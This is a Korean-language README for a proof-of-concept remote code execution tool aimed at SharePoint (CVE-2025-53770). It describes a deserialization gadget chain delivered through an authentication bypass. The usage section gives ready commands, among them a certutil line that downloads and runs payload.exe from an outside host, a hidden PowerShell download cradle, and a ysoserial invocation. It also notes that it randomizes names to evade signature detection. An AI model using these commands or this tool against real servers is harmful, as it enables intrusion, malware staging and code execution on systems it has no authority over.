OurSharePoint — CVE-2025-53770 PoC

자체 포함된 단일 바이너리 SharePoint RCE 도구입니다. TypeConfuseDelegate 가젯 체인을 원시 MS-NRBF 바이트(ysoserial.exe 없음)로 생성하고, 이를 DataSet 역직렬화 페이로드에 래핑한 후 인증 우회를 통해 HTTP로 전달합니다—모든 과정이 한 번에 이루어집니다.

공격 체인

전체 바이너리 스트림(외부 DataSet 래퍼와 내부 TypeConfuseDelegate 가젯 모두)은 원시 MS-NRBF 레코드로 구성됩니다—.NET 런타임 직렬화는 사용되지 않습니다. 이는 Metasploit 모듈이 생성하는 형식과 바이트 단위로 일치합니다.

빌드

.NET Framework 4.8 SDK(Visual Studio 2022 또는 독립 실행형 Build Tools)가 필요합니다:

& "C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe" OurSharePoint.sln /p:Configuration=Release

출력: OurSharePoint\bin\Release\OurSharePoint.exe (단일 파일, 종속성 없음)

사용법

단일 명령: 스테이징 및 실행

OurSharePoint.exe --cmd="certutil -urlcache -split -f http://10.0.0.5/payload.exe C:\Windows\Temp\p.exe & C:\Windows\Temp\p.exe" --target=https://sp.corp.com

간단한 명령 실행

OurSharePoint.exe --cmd="whoami > C:\Windows\Temp\pwned.txt" --target=https://sp.corp.com

PowerShell 크래들

OurSharePoint.exe --cmd="powershell -nop -w hidden -enc <base64>" --target=https://sp.corp.com

정찰 전용 (페이로드 없음)

OurSharePoint.exe --target=https://sp.corp.com --check

오프라인 페이로드 파일 생성

OurSharePoint.exe --cmd="calc.exe" --out=exploit

프록시 사용 (Burp)

OurSharePoint.exe --cmd="whoami" --target=https://sp.corp.com --proxy=http://127.0.0.1:8080

레거시: 외부 ysoserial.exe 페이로드

ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > gadget.b64
OurSharePoint.exe --in=gadget.b64 --target=https://sp.corp.com

옵션

출력 파일

--out 옵션을 사용하면 도구가 다음 파일을 작성합니다:

영향을 받는 버전

구현 참고 사항

• 런타임 직렬화 없음 — DataSet 래퍼와 TypeConfuseDelegate 가젯 모두 BinaryWriter를 사용하여 원시 MS-NRBF 바이너리 레코드로 작성됩니다. 이는 .NET 런타임 직렬화 출력과 대상 역직렬화기가 예상하는 형식 간의 차이를 방지합니다.
• LosFormatter 프레이밍 — 내부 가젯은 LosFormatter.Serialize()를 사용하는 대신 ObjectStateFormatter 헤더 바이트(0xFF 0x01 0x32 + 7비트 길이)로 래핑됩니다.
• 단일 바이너리 — 외부 도구, DLL, Python 스크립트가 필요하지 않습니다. .exe는 완전히 자체 포함되어 있습니다.
• 무작위화 — XML 태그 접두사와 DataSet 요소 이름은 실행마다 무작위화되어 시그니처 탐지를 피합니다.

참고 자료

• Eye Security — SharePoint Under Siege
• Metasploit PR #20409 — sharepoint_toolpane_rce
• MS-NRBF Specification
• pwntester/ysoserial.net — TypeConfuseDelegate